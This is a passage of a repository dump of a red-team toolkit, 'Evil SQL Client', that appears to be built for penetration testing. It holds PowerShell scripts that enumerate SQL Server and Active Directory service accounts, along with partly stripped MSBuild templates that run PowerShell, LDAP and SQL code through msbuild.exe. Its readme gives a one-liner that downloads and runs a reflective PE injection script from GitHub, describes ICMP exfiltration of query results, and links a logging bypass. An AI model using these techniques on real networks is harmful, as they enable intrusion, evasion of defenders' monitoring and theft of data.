39 | C:\Users\ssutherland\Desktop\ClickOnceSQL\bin\Release\App.config
40 | C:\temp\ClickOnceSQL\bin\Release\App.config
41 | C:\temp\ClickOnceSQL\bin\Release\ClickOnceSQL.exe.config
42 | C:\temp\ClickOnceSQL\bin\Release\ClickOnceSQL.exe.manifest
43 | C:\temp\ClickOnceSQL\bin\Release\ClickOnceSQL.application
44 | C:\temp\ClickOnceSQL\bin\Release\ClickOnceSQL.exe
45 | C:\temp\ClickOnceSQL\bin\Release\ClickOnceSQL.pdb
46 | C:\temp\ClickOnceSQL\bin\Release\System.Management.Automation.dll
47 | C:\temp\ClickOnceSQL\obj\Release\ClickOnceSQL.csprojAssemblyReference.cache
48 | C:\temp\ClickOnceSQL\obj\Release\ClickOnceSQL.csproj.CoreCompileInputs.cache
49 | C:\temp\ClickOnceSQL\obj\Release\ClickOnceSQL.exe.manifest
50 | C:\temp\ClickOnceSQL\obj\Release\ClickOnceSQL.application
51 | C:\temp\ClickOnceSQL\obj\Release\ClickOnceSQL.csproj.CopyComplete
52 | C:\temp\ClickOnceSQL\obj\Release\ClickOnceSQL.exe
53 | C:\temp\ClickOnceSQL\obj\Release\ClickOnceSQL.pdb
54 |
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Release/ClickOnceSQL.csprojAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/ClickOnceSQL.csprojAssemblyReference.cache
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Release/ClickOnceSQL.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/ClickOnceSQL.exe
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Release/ClickOnceSQL.exe.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 | en7cSzFpXDxuQQpEss6wMV8mhFtfz/v2XAS3BDRmne4=
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | lkhv2UhjSeLBPorr/OgzCviQcmv6IIaZUQLkNI+1HZQ=
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 | 6N7MliNbVJSIAIPrecIshMbZ7zEoKLr5SQvud4LDUOw=
85 |
86 |
87 |
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Release/ClickOnceSQL.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/ClickOnceSQL.pdb
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Release/DesignTimeResolveAssemblyReferences.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/DesignTimeResolveAssemblyReferences.cache
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
--------------------------------------------------------------------------------
/ClickOnceSQL/obj/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
--------------------------------------------------------------------------------
/ClickOnceSQL/publish.htm:
--------------------------------------------------------------------------------
1 |
2 |
3 | ClickOnceSQL
4 |
5 |
48 |
49 |
115 |
116 |
117 |
118 |
119 |
120 |
121 | |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 | | Name: | | ClickOnceSQL | | Version: | | 1.0.0.5 | | Publisher: | | | |
130 |
131 |
132 |
133 |
134 | The following prerequisites are required: | |
135 | - Microsoft .NET Framework 4.5.2 (x86 and x64)
136 | |
137 | If these components are already installed, you can launch the application now. Otherwise, click the button below to install the prerequisites and run the application.
138 | | |
139 |
140 |
141 |
142 | |
143 |
144 | |
|
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 | |
153 |
154 |
155 |
156 |
158 |
159 | |
160 |
161 |
162 |
163 |
--------------------------------------------------------------------------------
/ClickOnceSQL/setup.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/setup.exe
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Evil SQL Client (ESC) is provided under the 3-clause BSD license below.
2 |
3 | *************************************************************
4 |
5 | Copyright (c) 2020, NetSPI
6 | All rights reserved.
7 |
8 | Redistribution and use in source and binary forms, with or without
9 | modification, are permitted provided that the following conditions are met:
10 |
11 | * Redistributions of source code must retain the above copyright notice, this
12 | list of conditions and the following disclaimer.
13 |
14 | * Redistributions in binary form must reproduce the above copyright notice,
15 | this list of conditions and the following disclaimer in the documentation
16 | and/or other materials provided with the distribution.
17 |
18 | * Neither the name of Evil SQL Client (ESC) nor the names of its
19 | contributors may be used to endorse or promote products derived from
20 | this software without specific prior written permission.
21 |
22 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
23 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
24 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
25 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
26 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
27 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
28 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
29 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
30 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
31 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
32 |
--------------------------------------------------------------------------------
/Msbuild-Templates/Get-SQLQuery.psm1:
--------------------------------------------------------------------------------
1 |
2 |
3 | Function Get-SQLConnectionObject
4 | {
5 | [CmdletBinding()]
6 | Param(
7 | [Parameter(Mandatory = $false,
8 | HelpMessage = 'SQL Server or domain account to authenticate with.')]
9 | [string]$Username,
10 |
11 | [Parameter(Mandatory = $false,
12 | HelpMessage = 'SQL Server or domain account password to authenticate with.')]
13 | [string]$Password,
14 |
15 | [Parameter(Mandatory = $false,
16 | HelpMessage = 'Windows credentials.')]
17 | [System.Management.Automation.PSCredential]
18 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
19 |
20 | [Parameter(Mandatory = $false,
21 | ValueFromPipelineByPropertyName = $true,
22 | HelpMessage = 'SQL Server instance to connection to.')]
23 | [string]$Instance,
24 |
25 | [Parameter(Mandatory = $false,
26 | HelpMessage = 'Dedicated Administrator Connection (DAC).')]
27 | [Switch]$DAC,
28 |
29 | [Parameter(Mandatory = $false,
30 | HelpMessage = 'Default database to connect to.')]
31 | [String]$Database,
32 |
33 | [Parameter(Mandatory = $false,
34 | HelpMessage = 'Change appname.')]
35 | [string]$AppName = "",
36 |
37 | [Parameter(Mandatory = $false,
38 | HelpMessage = 'Change workstation name.')]
39 | [string]$WorkstationId = "",
40 |
41 | [Parameter(Mandatory = $false,
42 | HelpMessage = 'Use an encrypted connection.')]
43 | [ValidateSet("Yes","No","")]
44 | [string]$Encrypt = "",
45 |
46 | [Parameter(Mandatory = $false,
47 | HelpMessage = 'Trust the certificate of the remote server.')]
48 | [ValidateSet("Yes","No","")]
49 | [string]$TrustServerCert = "",
50 |
51 | [Parameter(Mandatory = $false,
52 | HelpMessage = 'Connection timeout.')]
53 | [string]$TimeOut = 1
54 | )
55 |
56 | Begin
57 | {
58 | if($DAC)
59 | {
60 | $DacConn = 'ADMIN:'
61 | }
62 | else
63 | {
64 | $DacConn = ''
65 | }
66 |
67 | if(-not $Database)
68 | {
69 | $Database = 'Master'
70 | }
71 |
72 | if($AppName){
73 | $AppNameString = ";Application Name=`"$AppName`""
74 | }else{
75 | $AppNameString = ""
76 | }
77 |
78 | if($WorkstationId){
79 | $WorkstationString = ";Workstation Id=`"$WorkstationId`""
80 | }else{
81 | $WorkstationString = ""
82 | }
83 |
84 | if($Encrypt){
85 | $EncryptString = ";Encrypt=Yes"
86 | }else{
87 | $EncryptString = ""
88 | }
89 |
90 | if($TrustServerCert){
91 | $TrustCertString = ";TrustServerCertificate=Yes"
92 | }else{
93 | $TrustCertString = ""
94 | }
95 | }
96 |
97 | Process
98 | {
99 | # Check for instance
100 | if ( -not $Instance)
101 | {
102 | $Instance = $env:COMPUTERNAME
103 | }
104 |
105 | $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection
106 |
107 | if(-not $Username){
108 |
109 | # Set authentication type
110 | $AuthenticationType = "Current Windows Credentials"
111 |
112 | # Set connection string
113 | $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1$AppNameString$EncryptString$TrustCertString$WorkstationString"
114 | }
115 |
116 | if ($username -like "*\*"){
117 | $AuthenticationType = "Provided Windows Credentials"
118 |
119 | # Setup connection string
120 | $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString$WorkstationString"
121 | }
122 |
123 | if (($username) -and ($username -notlike "*\*")){
124 |
125 | # Set authentication type
126 | $AuthenticationType = "Provided SQL Login"
127 |
128 | # Setup connection string
129 | $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString$WorkstationString"
130 | }
131 |
132 | return $Connection
133 | }
134 |
135 | End
136 | {
137 | }
138 | }
139 |
140 | Function Get-SQLQuery
141 | {
142 | [CmdletBinding()]
143 | Param(
144 | [Parameter(Mandatory = $false,
145 | ValueFromPipelineByPropertyName = $true,
146 | HelpMessage = 'SQL Server or domain account to authenticate with.')]
147 | [string]$Username,
148 |
149 | [Parameter(Mandatory = $false,
150 | ValueFromPipelineByPropertyName = $true,
151 | HelpMessage = 'SQL Server or domain account password to authenticate with.')]
152 | [string]$Password,
153 |
154 | [Parameter(Mandatory = $false,
155 | HelpMessage = 'Windows credentials.')]
156 | [System.Management.Automation.PSCredential]
157 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
158 |
159 | [Parameter(Mandatory = $false,
160 | ValueFromPipelineByPropertyName = $true,
161 | HelpMessage = 'SQL Server instance to connection to.')]
162 | [string]$Instance,
163 |
164 | [Parameter(Mandatory = $false,
165 | ValueFromPipelineByPropertyName = $true,
166 | HelpMessage = 'SQL Server query.')]
167 | [string]$Query,
168 |
169 | [Parameter(Mandatory = $false,
170 | HelpMessage = 'Connect using Dedicated Admin Connection.')]
171 | [Switch]$DAC,
172 |
173 | [Parameter(Mandatory = $false,
174 | HelpMessage = 'Default database to connect to.')]
175 | [String]$Database,
176 |
177 | [Parameter(Mandatory = $false,
178 | HelpMessage = 'Connection timeout.')]
179 | [int]$TimeOut,
180 |
181 | [Parameter(Mandatory = $false,
182 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
183 | [switch]$SuppressVerbose,
184 |
185 | [Parameter(Mandatory = $false,
186 | HelpMessage = 'Change application name in connection string.')]
187 | [string]$AppName = "",
188 |
189 | [Parameter(Mandatory = $false,
190 | HelpMessage = 'Change hostname in connection string.')]
191 | [string]$WorkstationId = "",
192 |
193 | [Parameter(Mandatory = $false,
194 | HelpMessage = 'Use an encrypted connection.')]
195 | [ValidateSet("Yes","No","")]
196 | [string]$Encrypt = "",
197 |
198 | [Parameter(Mandatory = $false,
199 | HelpMessage = 'Trust the certificate of the remote server.')]
200 | [ValidateSet("Yes","No","")]
201 | [string]$TrustServerCert = "",
202 |
203 | [Parameter(Mandatory = $false,
204 | HelpMessage = 'Return error message if exists.')]
205 | [switch]$ReturnError
206 | )
207 |
208 | Begin
209 | {
210 | # Setup up data tables for output
211 | $TblQueryResults = New-Object -TypeName System.Data.DataTable
212 | }
213 |
214 | Process
215 | {
216 | # Setup DAC string
217 | if($DAC)
218 | {
219 | # Create connection object
220 | $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName -WorkstationId $WorkstationId -Encrypt $Encrypt -TrustServerCert $TrustServerCert
221 | }
222 | else
223 | {
224 | # Create connection object
225 | $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName -WorkstationId $WorkstationId -Encrypt $Encrypt -TrustServerCert $TrustServerCert
226 | }
227 |
228 | # Parse SQL Server instance name
229 | $ConnectionString = $Connection.Connectionstring
230 | $Instance = $ConnectionString.split(';')[0].split('=')[1]
231 |
232 | # Check for query
233 | if($Query)
234 | {
235 | # Attempt connection
236 | try
237 | {
238 | # Open connection
239 | $Connection.Open()
240 |
241 | if(-not $SuppressVerbose)
242 | {
243 | Write-Verbose -Message "$Instance : Connection Success."
244 | }
245 |
246 | # Setup SQL query
247 | $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)
248 |
249 | # Grab results
250 | $Results = $Command.ExecuteReader()
251 |
252 | # Load results into data table
253 | $TblQueryResults.Load($Results)
254 |
255 | # Close connection
256 | $Connection.Close()
257 |
258 | # Dispose connection
259 | $Connection.Dispose()
260 | }
261 | catch
262 | {
263 | # Connection failed - for detail error use Get-SQLConnectionTest
264 | if(-not $SuppressVerbose)
265 | {
266 | Write-Verbose -Message "$Instance : Connection Failed."
267 | }
268 |
269 | if($ReturnError)
270 | {
271 | $ErrorMessage = $_.Exception.Message
272 | #Write-Verbose " Error: $ErrorMessage"
273 | }
274 | }
275 | }
276 | else
277 | {
278 | Write-Output -InputObject 'No query provided to Get-SQLQuery function.'
279 | Break
280 | }
281 | }
282 |
283 | End
284 | {
285 | # Return Results
286 | if($ReturnError)
287 | {
288 | $ErrorMessage
289 | }
290 | else
291 | {
292 | $TblQueryResults
293 | }
294 | }
295 | }
296 |
297 | <#
298 |
299 | Examples
300 |
301 | # basic query
302 | get-sqlquery -verbose -instance ComputerName\InstanceName -Query "select @@version"
303 |
304 | # Set workstation id and app id
305 | get-sqlquery -verbose -instance ComputerName\InstanceName -Query "select @@version" -WorkstationId "servername" -AppName myappname
306 |
307 | # Confirmation checks
308 | Get-SQLQuery -Verbose -Instance ComputerName\InstanceName -Query "SELECT app_name(),system_user" -AppName "appname" -Username "domain\user" -Password 'theirpassword'
309 | Get-SQLQuery -Verbose -Instance ComputerName\InstanceName -Query "SELECT host_name(),system_user" -WorkstationId "servername"
310 |
311 | #>
312 |
--------------------------------------------------------------------------------
/Msbuild-Templates/Get-Spn.ps1:
--------------------------------------------------------------------------------
1 | Function Get-Spn {
2 |
3 | [CmdletBinding()]
4 | Param()
5 |
6 | # Data table for output
7 | $tbl_spn = New-Object -TypeName System.Data.DataTable
8 | $null = $tbl_spn.Columns.Add('Samaccountname')
9 | $null = $tbl_spn.Columns.Add('Description')
10 | $null = $tbl_spn.Columns.Add('LastLogon')
11 | $null = $tbl_spn.Columns.Add('SPNServer')
12 | $null = $tbl_spn.Columns.Add('SPNService')
13 | $null = $tbl_spn.Columns.Add('SPN')
14 | $tbl_spn.Clear()
15 |
16 | # Query for SQL Server SPNs
17 | $objDomain = ([ADSI]'').distinguishedName
18 | $objDomainPath = [ADSI]''
19 | $objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath
20 | $objSearcher.PageSize = 1000
21 | $objSearcher.Filter = '(&(servicePrincipalName=*))'
22 | $objSearcher.SearchScope = 'Subtree'
23 | $objSearcher.FindAll() |
24 | ForEach-Object {
25 |
26 | $SamAccountName = $_.properties.samaccountname
27 | $Description = $_.properties.description
28 |
29 | foreach ($item in $($_.properties.serviceprincipalname)){
30 |
31 | # Parse SPNs
32 | $SpnServer = $item.split('/')[1].split(':')[0].split(' ')[0]
33 | $SpnService = $item.split('/')[0]
34 | $Spn = $item
35 |
36 | # Parse last logon
37 | if ($_.properties.lastlogon)
38 | {
39 | $LastLogon = [datetime]::FromFileTime([string]$_.properties.lastlogon).ToString('g')
40 | }else{
41 | $LastLogon = ''
42 | }
43 |
44 | # Add results to table if its an SQL Service
45 |
46 | $null = $tbl_spn.Rows.Add(
47 | [string]$SamAccountName,
48 | [string]$Description,
49 | $LastLogon,
50 | [string]$SpnServer,
51 | [string]$SpnService,
52 | [string]$Spn
53 | )
54 | }
55 | }
56 |
57 | $tbl_spn
58 | $count = $tbl_spn.Rows.Count
59 | Write-Verbose "Found $count SQL Server SPNs"
60 | }
61 |
62 | Get-SpnList -Verbose
63 |
64 | # $x = Get-SpnList -Verbose
65 | # $x | Out-GridView
66 | # $x | Export-Csv -NoTypeInformation output.csv
67 |
--------------------------------------------------------------------------------
/Msbuild-Templates/Get-SpnSql1.ps1:
--------------------------------------------------------------------------------
1 | Function Get-SpnList {
2 |
3 | [CmdletBinding()]
4 | Param()
5 |
6 | # Data table for output
7 | $tbl_spn = New-Object -TypeName System.Data.DataTable
8 | $null = $tbl_spn.Columns.Add('Samaccountname')
9 | $null = $tbl_spn.Columns.Add('Description')
10 | $null = $tbl_spn.Columns.Add('LastLogon')
11 | $null = $tbl_spn.Columns.Add('SPNServer')
12 | $null = $tbl_spn.Columns.Add('SPNService')
13 | $null = $tbl_spn.Columns.Add('SPN')
14 | $null = $tbl_spn.Columns.Add('SQLInstance')
15 | $tbl_spn.Clear()
16 |
17 | # Query for SQL Server SPNs
18 | $objDomain = ([ADSI]'').distinguishedName
19 | $objDomainPath = [ADSI]''
20 | $objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath
21 | $objSearcher.PageSize = 1000
22 | $objSearcher.Filter = '(&(servicePrincipalName=*MSSQLSvc*))'
23 | $objSearcher.SearchScope = 'Subtree'
24 | $objSearcher.FindAll() |
25 | ForEach-Object {
26 |
27 | $SamAccountName = $_.properties.samaccountname
28 | $Description = $_.properties.description
29 |
30 | foreach ($item in $($_.properties.serviceprincipalname)){
31 |
32 | # Parse SPNs
33 | $SpnServer = $item.split('/')[1].split(':')[0].split(' ')[0]
34 | $SpnService = $item.split('/')[0]
35 | $Spn = $item
36 |
37 | $Instance = $Spn.split('/')[1].split(':')[1]
38 |
39 | # Check if the instance is a number and use the relevent delim
40 | $Value = 0
41 | if([int32]::TryParse($Instance,[ref]$Value))
42 | {
43 | $SQLInstance = $Spn -replace ':', ','
44 | }else{
45 | $SQLInstance = $Spn -replace ':', '\'
46 | }
47 |
48 | $SQLInstance = $SQLInstance -replace 'MSSQLSvc/', ''
49 |
50 | # Parse last logon
51 | if ($_.properties.lastlogon)
52 | {
53 | $LastLogon = [datetime]::FromFileTime([string]$_.properties.lastlogon).ToString('g')
54 | }else{
55 | $LastLogon = ''
56 | }
57 |
58 | # Add results to table if its an SQL Service
59 | If ($SpnService -like "*SQL*"){
60 | $null = $tbl_spn.Rows.Add(
61 | [string]$SamAccountName,
62 | [string]$Description,
63 | $LastLogon,
64 | [string]$SpnServer,
65 | [string]$SpnService,
66 | [string]$Spn,
67 | [string]$SQLInstance
68 | )
69 | }
70 | }
71 | }
72 |
73 | $tbl_spn
74 | $count = $tbl_spn.Rows.Count
75 | Write-Verbose "Found $count SQL Server SPNs"
76 | }
77 |
78 | Get-SpnList -Verbose
79 |
80 | # $x = Get-SpnList -Verbose
81 | # $x | Out-GridView
82 | # $x | Export-Csv -NoTypeInformation output.csv
83 |
84 |
--------------------------------------------------------------------------------
/Msbuild-Templates/msbuild_ldap_dump.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
9 |
10 |
11 |
12 |
13 |
14 |
85 |
86 |
87 |
88 |
89 |
--------------------------------------------------------------------------------
/Msbuild-Templates/msbuild_ldap_sqlinstances.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
9 |
10 |
11 |
12 |
13 |
14 |
156 |
157 |
158 |
159 |
160 |
--------------------------------------------------------------------------------
/Msbuild-Templates/msbuild_ldap_users.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
9 |
10 |
11 |
12 |
13 |
14 |
133 |
134 |
135 |
136 |
137 |
--------------------------------------------------------------------------------
/Msbuild-Templates/msbuild_ldap_userspns.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
9 |
10 |
11 |
12 |
13 |
14 |
134 |
135 |
136 |
137 |
138 |
--------------------------------------------------------------------------------
/Msbuild-Templates/msbuild_powershell_console.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
9 |
10 |
11 |
12 |
13 | ");
39 | String cmd = Console.ReadLine();
40 |
41 | // Create a session state
42 | InitialSessionState iss = InitialSessionState.CreateDefault();
43 |
44 | // Set full language mode
45 | iss.LanguageMode = PSLanguageMode.FullLanguage;
46 |
47 | // Create runspace
48 | Runspace rs = RunspaceFactory.CreateRunspace(iss);
49 | rs.Open();
50 |
51 | PowerShell ps = PowerShell.Create();
52 | ps.Runspace = rs;
53 | ps.AddScript(cmd);
54 |
55 | Collection output = ps.Invoke();
56 | if (output != null)
57 | {
58 | foreach (PSObject rtnItem in output)
59 | {
60 | Console.WriteLine(rtnItem.ToString());
61 | }
62 | }
63 | rs.Close();
64 |
65 | Console.ReadLine();
66 | // Return to the console
67 | RunPSCommand();
68 | return "WEEEE";
69 | }
70 | }
71 |
72 | ]]>
73 |
74 |
75 |
76 |
77 |
--------------------------------------------------------------------------------
/Msbuild-Templates/msbuild_powershell_exec_file.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
11 |
12 |
13 |
14 |
15 | results = pipeline.Invoke();
80 | runspace.Close();
81 |
82 | //Convert records to strings
83 | StringBuilder stringBuilder = new StringBuilder();
84 | foreach (PSObject obj in results)
85 | {
86 | stringBuilder.Append(obj).Append("\n");
87 | }
88 |
89 | return stringBuilder.ToString().Trim();
90 |
91 | }
92 | }
93 |
94 | ]]>
95 |
96 |
97 |
98 |
99 |
--------------------------------------------------------------------------------
/Msbuild-Templates/msbuild_powershell_exec_iex.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
12 |
13 |
14 |
15 |
16 | results = pipeline.Invoke();
62 | runspace.Close();
63 |
64 | //Convert records to strings
65 | StringBuilder stringBuilder = new StringBuilder();
66 | foreach (PSObject obj in results)
67 | {
68 | stringBuilder.Append(obj);
69 | }
70 | return stringBuilder.ToString().Trim();
71 | }
72 | }
73 |
74 | ]]>
75 |
76 |
77 |
78 |
79 |
--------------------------------------------------------------------------------
/Msbuild-Templates/msbuild_powershell_exec_sb.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
11 |
12 |
13 |
14 |
15 | results = pipeline.Invoke();
79 | runspace.Close();
80 |
81 | //Convert records to strings
82 | StringBuilder stringBuilder = new StringBuilder();
83 | foreach (PSObject obj in results)
84 | {
85 | stringBuilder.Append(obj).Append("\n");
86 | }
87 |
88 | return stringBuilder.ToString().Trim();
89 |
90 | }
91 | }
92 |
93 | ]]>
94 |
95 |
96 |
97 |
98 |
--------------------------------------------------------------------------------
/Msbuild-Templates/msbuild_template.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
9 |
10 |
11 |
42 |
43 |
44 |
45 |
46 |
--------------------------------------------------------------------------------
/Msbuild-Templates/msbuild_template_datatable.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
9 |
10 |
11 |
12 |
13 |
14 |
79 |
80 |
81 |
82 |
83 |
--------------------------------------------------------------------------------
/Msbuild-Templates/readme.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | ## MSBUILD.EXE POST EXPLOITATION SCRIPTS ##
5 |
6 | Msbuild.exe can be used to execute arbitrary commands and .net code through various methods. Loading and executing .csproj files that use inline tasks in one of those methods. This repository contains a few csharp programs that use that method to execute common red team tasks such as executing arbitrary PowerShell, LDAP, and SQL Server commands/queries.
7 |
8 | Other methods not covered include:
9 | * Project File Parsing And Import Injection
10 | * PropertyGroup Expansion and Injection
11 | * Command Line injection to influence build process
12 | * Dynamic Properties
13 | * Items and targets
14 | * Reference: http://subt0x11.blogspot.com/2018/11/microsoft-build-engine-compromise-part_13.html
15 | * Reference: https://gist.github.com/caseysmithrc/047a32203ad7c2f92eb250a0bbd01cac
16 | * Reference: https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2015#BKMK_Targets
17 |
18 | ### Command Execution Options ###
19 | Simply navigate to the folder containing the .csproj file and run the msbuild.exe command from its path as shown below. You can explicitly define the .csproj file to load, but it is not required if only one .csproj file exists the your current working directory.
20 | `C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe `
21 |
22 | `C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe file.csproj`
23 |
24 | `C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe file.csproj /p:AllowUnsafeBlocks=true`
25 |
26 | In some cases you may have to set the environmental variable below to execute constrained .net API calls.
27 |
28 | `set MSBUILDENABLEALLPROPERTYFUNCTIONS=1`
29 |
30 | `$env:MSBUILDENABLEALLPROPERTYFUNCTIONS = 1`
31 |
32 | ### CSharp Project Files and Descriptions ###
33 |
34 | |Project File|Description |
35 | |:--------------------------------|:-----------|
36 | |msbuild_ldap_sqlinstances.csproj|Execute a LDAP query and obtain a list of SQL Server SPNs/Instance.|
37 | |msbuild_ldap_userspns.csproj|This should return all SPNs for the users in the domain. |
38 | |msbuild_ldap_users.csproj|This should return all users in the domain.|
39 | |msbuild_powershell_console.csproj|The .net code will provide a powershell console if all the libs are available. Make sure you have the correct System.Management.Automation.dll referenced for the target system.
Note 1: If PowerShell transcription or script block logging is enabled, the PowerShell commands you run will still show up in the logs regardless if they are run through powershell.exe or through the msbuild .net program using System.Management.Automation.dll. However, that could potentially be disabled with this https://cobbr.io/ScriptBlock-Logging-Bypass.html.
Note 2: If outbound HTTP filter rules are not restrictive and WindowsDefender isnt running, you can launch other applicaiton with the snippet below through the powershell console.
`iex(new-object net.webclient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1");$PEBytes = [IO.File]::ReadAllBytes('c:\windows\system32\calc.exe');Invoke-ReflectivePEInjection -PEBytes $PEBytes`|
40 | |msbuild_powershell_execfile.csproj|The .net code will run powershell code stored in c:\windows\temp\test.txt, however you can change the path. Make sure you have the correct System.Management.Automation.dll referenced for the target system.|
41 | |msbuild_powershell_exec_sb.csproj|The .net code will run powershell scriptblock stored in the "readtext" variable, which you can change to meet your needs. Make sure you have the correct System.Management.Automation.dll referenced for the target system.|
42 | |msbuild_powershell_exec_iex.csproj|The .net code will run powershell scriptblock and the sample shows how to download and execute a script from the internet using invoke-expression, which you can change to meet your needs. The sample downloaded from the internet will write a text file to c:\temp\test123.txt. Make sure you have the correct System.Management.Automation.dll referenced for the target system.|
43 | |msbuild_sql_query.csproj|This is a simple C# SQL Server client console that can be run through msbuild.
1. Connection strings are hard coded by default using the "connString" variable. You can change the connection string on the fly with the "setconn" command.
2. Query results are written to c:\windows\temp\file.csv by default. You can change the output file using the "setfile" command.
3. ICMP exfilatation is disabled by default. By setting the "enableicmp" variable to true, and
setting the IP, the results of each query will be sent to the provided IP in the payloads of ICMP echo requests.
